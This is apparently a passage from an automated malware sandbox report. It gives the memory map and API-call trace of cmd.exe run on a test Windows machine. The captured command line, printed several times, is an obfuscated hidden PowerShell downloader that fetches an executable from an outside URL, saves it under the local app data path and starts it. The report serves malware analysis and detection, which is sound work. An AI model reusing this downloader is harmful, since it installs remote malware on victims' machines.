-f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') '%localappdata%.exe'\"\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010944" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 601 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 602 start_va = 0x50000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 603 start_va = 0x4a540000 end_va = 0x4a598fff entry_point = 0x4a540000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 604 start_va = 0x776f0000 end_va = 0x77898fff entry_point = 0x776f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 605 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 606 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 607 start_va = 0x7feffa10000 end_va = 0x7feffa10fff entry_point = 0x7feffa10000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 608 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 609 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 610 start_va = 0x7fffffde000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 611 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 612 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 613 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 614 start_va = 0x775d0000 end_va = 0x776eefff entry_point = 0x775d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 615 start_va = 0x7fefd830000 end_va = 0x7fefd89afff entry_point = 0x7fefd830000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 617 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 618 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 619 start_va = 0x270000 end_va = 0x2d6fff entry_point = 0x270000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 620 start_va = 0x774d0000 end_va = 0x775c9fff entry_point = 0x774d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 621 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 622 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 623 start_va = 0x7fef5800000 end_va = 0x7fef5807fff entry_point = 0x7fef5800000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 624 start_va = 0x7fefda50000 end_va = 0x7fefdb18fff entry_point = 0x7fefda50000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 625 start_va = 0x7fefdc50000 end_va = 0x7fefdceefff entry_point = 0x7fefdc50000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 626 start_va = 0x7fefdd00000 end_va = 0x7fefdd66fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 627 start_va = 0x7fefdd70000 end_va = 0x7fefdd7dfff entry_point = 0x7fefdd70000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 628 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 629 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 630 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 631 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 632 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 633 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 634 start_va = 0x450000 end_va = 0x5d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 635 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 636 start_va = 0x770000 end_va = 0x1b6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 637 start_va = 0x1b70000 end_va = 0x1eb2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b70000" filename = "" Region: id = 638 start_va = 0x7feff4c0000 end_va = 0x7feff4edfff entry_point = 0x7feff4c0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 639 start_va = 0x7feff8f0000 end_va = 0x7feff9f8fff entry_point = 0x7feff8f0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 640 start_va = 0x1ec0000 end_va = 0x218efff entry_point = 0x1ec0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 37 os_tid = 0xb84 [0076.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fb70 | out: lpSystemTimeAsFileTime=0x14fb70*(dwLowDateTime=0xdbb23ef0, dwHighDateTime=0x1d3afa9)) [0076.966] GetCurrentProcessId () returned 0xb80 [0076.966] GetCurrentThreadId () returned 0xb84 [0076.966] GetTickCount () returned 0x1fd70 [0076.966] QueryPerformanceCounter (in: lpPerformanceCount=0x14fb78 | out: lpPerformanceCount=0x14fb78*=482363678) returned 1 [0076.967] GetModuleHandleW (lpModuleName=0x0) returned 0x4a540000 [0076.967] __set_app_type (_Type=0x1) [0076.967] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a567810) returned 0x0 [0076.967] __getmainargs (in: _Argc=0x4a58a608, _Argv=0x4a58a618, _Env=0x4a58a610, _DoWildCard=0, _StartInfo=0x4a56e0f4 | out: _Argc=0x4a58a608, _Argv=0x4a58a618, _Env=0x4a58a610) returned 0 [0076.968] GetCurrentThreadId () returned 0xb84 [0076.968] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb84) returned 0x3c [0076.968] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x775d0000 [0076.968] GetProcAddress (hModule=0x775d0000, lpProcName="SetThreadUILanguage") returned 0x775e6d40 [0076.968] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.968] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0076.968] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fb08 | out: phkResult=0x14fb08*=0x0) returned 0x2 [0076.969] VirtualQuery (in: lpAddress=0x14faf0, lpBuffer=0x14fa70, dwLength=0x30 | out: lpBuffer=0x14fa70*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0076.969] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fa70, dwLength=0x30 | out: lpBuffer=0x14fa70*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0076.969] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fa70, dwLength=0x30 | out: lpBuffer=0x14fa70*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0076.969] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14fa70, dwLength=0x30 | out: lpBuffer=0x14fa70*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0076.969] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fa70, dwLength=0x30 | out: lpBuffer=0x14fa70*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0076.969] GetConsoleOutputCP () returned 0x1b5 [0076.969] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a57bfe0 | out: lpCPInfo=0x4a57bfe0) returned 1 [0076.969] SetConsoleCtrlHandler (HandlerRoutine=0x4a563184, Add=1) returned 1 [0076.969] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.969] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0076.969] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.969] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a56e194 | out: lpMode=0x4a56e194) returned 1 [0076.970] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.970] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0076.970] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.970] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a56e198 | out: lpMode=0x4a56e198) returned 1 [0076.970] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.970] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0076.970] GetEnvironmentStringsW () returned 0x188fb0* [0076.970] FreeEnvironmentStringsW (penv=0x188fb0) returned 1 [0076.971] GetEnvironmentStringsW () returned 0x188fb0* [0076.971] FreeEnvironmentStringsW (penv=0x188fb0) returned 1 [0076.971] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e9c8 | out: phkResult=0x14e9c8*=0x44) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x0, lpData=0x14e9e0*=0x18, lpcbData=0x14e9c4*=0x1000) returned 0x2 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x1, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x0, lpData=0x14e9e0*=0x1, lpcbData=0x14e9c4*=0x1000) returned 0x2 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x0, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x40, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x40, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x0, lpData=0x14e9e0*=0x40, lpcbData=0x14e9c4*=0x1000) returned 0x2 [0076.971] RegCloseKey (hKey=0x44) returned 0x0 [0076.971] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e9c8 | out: phkResult=0x14e9c8*=0x44) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x0, lpData=0x14e9e0*=0x40, lpcbData=0x14e9c4*=0x1000) returned 0x2 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x1, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x0, lpData=0x14e9e0*=0x1, lpcbData=0x14e9c4*=0x1000) returned 0x2 [0076.972] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x0, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.972] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x9, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.972] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x4, lpData=0x14e9e0*=0x9, lpcbData=0x14e9c4*=0x4) returned 0x0 [0076.972] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e9c0, lpData=0x14e9e0, lpcbData=0x14e9c4*=0x1000 | out: lpType=0x14e9c0*=0x0, lpData=0x14e9e0*=0x9, lpcbData=0x14e9c4*=0x1000) returned 0x2 [0076.972] RegCloseKey (hKey=0x44) returned 0x0 [0076.972] time (in: timer=0x0 | out: timer=0x0) returned 0x5a951eeb [0076.972] srand (_Seed=0x5a951eeb) [0076.972] GetCommandLineW () returned="cMd /c\"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') '%localappdata%.exe'\"\"" [0076.972] GetCommandLineW () returned="cMd /c\"poweRSheLL -NoniNTeRACtivE -NoPr -exeCuTi ByPASS -WinDO hIDDen \"do{sleep 25;(.(\\\"{2}{0}{1}\\\" -f'-o','bject','new') (\\\"{1}{3}{5}{0}{2}{4}\\\" -f't','syst','.webclie','em','nt','.ne')).('d'+'ow'+'nloadfil'+'e').Invoke('https://formaversa.co/trq','%localappdata%.exe')}while(!$?);&(\\\"{0}{2}{1}\\\"-f'star','ss','t-proce') '%localappdata%.exe'\"\"" [0076.972] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a57c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0076.972] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x188fc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cMd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0076.972] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0076.972] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.972] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0076.972] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0076.972] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0076.972] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0076.972] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0076.972] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0076.973] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0076.973] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0076.973] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0076.973] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0076.973] GetEnvironmentStringsW () returned 0x1891d0* [0076.973] FreeEnvironmentStringsW (penv=0x1891d0) returned 1 [0076.973] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.973] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0076.973] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0076.973] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0076.973] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0076.973] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0076.973] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0076.973] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0076.973] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0076.973] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0076.973] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f7d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0076.973] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f7d0, lpFilePart=0x14f7b0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f7b0*="Desktop") returned 0x19 [0076.973] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0076.974] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f4e0 | out: lpFindFileData=0x14f4e0) returned 0x18c770 [0076.974] FindClose (in: hFindFile=0x18c770 | out: hFindFile=0x18c770) returned 1 [0076.974] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x14f4e0 | out: lpFindFileData=0x14f4e0) returned 0x18c770 [0076.974] FindClose (in: hFindFile=0x18c770 | out: hFindFile=0x18c770) returned 1 [0076.974] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x14f4e0 | out: lpFindFileData=0x14f4e0) returned 0x18c770 [0076.974] FindClose (in: hFindFile=0x18c770 | out: hFindFile=0x18c770) returned 1 [0076.974] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0076.974] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0076.974] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0076.974] GetEnvironmentStringsW () returned 0x18bc40* [0076.974] FreeEnvironmentStringsW (penv=0x18bc40) returned 1 [0076.974] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a57c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0076.975] GetConsoleOutputCP () returned 0x1b5 [0077.006] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a57bfe0 | out: lpCPInfo=0x4a57bfe0) returned 1 [0077.106] GetUserDefaultLCID () returned 0x409 [0077.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a577b50, cchData=8 | out: lpLCData=":") returned 2 [0077.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14f8e0, cchData=128 | out: lpLCData="0") returned 2 [0077.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14f8e0, cchData=128 | out: lpLCData="0") returned 2 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14f8e0, cchData=128 | out: lpLCData="1") returned 2 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a58a740, cchData=8 | out: lpLCData="/") returned 2 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a58a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a58a460, cchData=32 | out: lpLCData="Tue") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a58a420, cchData=32 | out: lpLCData="Wed") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a58a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a58a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a58a360, cchData=32 | out: lpLCData="Sat") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a58a700, cchData=32 | out: lpLCData="Sun") returned 4 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a577b40, cchData=8 | out: lpLCData=".") returned 2 [0077.107] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a58a4e0, cchData=8 | out: lpLCData=",") returned 2 [0077.107] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0077.108] GetConsoleTitleW (in: lpConsoleTitle=0x18a040, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cMd.exe") returned 0x1b [0077.108] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x775d0000 [0077.108] GetProcAddress (hModule=0x775d0000, lpProcName="CopyFileExW") returned 0x775e23d0 [0077.108] GetProcAddress (hModule=0x775d0000, lpProcName="IsDebuggerPresent") returned 0x775d8290 [0077.108] GetProcAddress (hModule=0x775d0000, lpProcName="SetConsoleInputExeNameW") returned 0x775e17e0 [0077.108] GetEnvironmentVariableW (in: lpName="localappdata", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0077.109] GetEnvironmentVariableW (in: lpName="localappdata", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x1f [0077.109] _wcsicmp (_String1="poweRSheLL", _String2=")") returned 71 [0077.109] _wcsicmp (_String1="FOR", _String2="poweRSheLL") returned -10 [0077.109] _wcsicmp (_String1="FOR/?", _String2="poweRSheLL") returned -10 [0077.109] _wcsicmp (_String1="IF", _String2="poweRSheLL") returned -7 [0077.109] _wcsicmp (_String1="IF/?", _String2="poweRSheLL") returned -7 [0077.109] _wcsicmp (_String1="REM", _String2="poweRSheLL") returned 2 [0077.109] _wcsicmp (_String1="REM/?", _String2="poweRSheLL") returned 2 [0077.116] SetErrorMode (uMode=0x0) returned 0x8001 [0077.116] SetErrorMode (uMode=0x1) returned 0x0 [0077.116] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x171940, lpFilePart=0x14f080 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f080*="Desktop") returned 0x19 [0077.116] SetErrorMode (uMode=0x8001) returned 0x1 [0077.117] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0077.117] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.150] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a56f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.151] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.152] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.152] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.152] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.152] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.152] FindClose (in: hFindFile=0x188e10 | out: hFindFile=0x188e10) returned 1 [0077.153] FindClose (in: hFindFile=0x188e10 | out: hFindFile=0x188e10) returned 1 [0077.154] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.154] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.154] GetConsoleTitleW (in: lpConsoleTitle=0x14f340, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cMd.exe") returned 0x1b [0077.154] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f0f8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f0b8 | out: lpAttributeList=0x14f0f8, lpSize=0x14f0b8) returned 1 [0077.154] UpdateProcThreadAttribute (in: 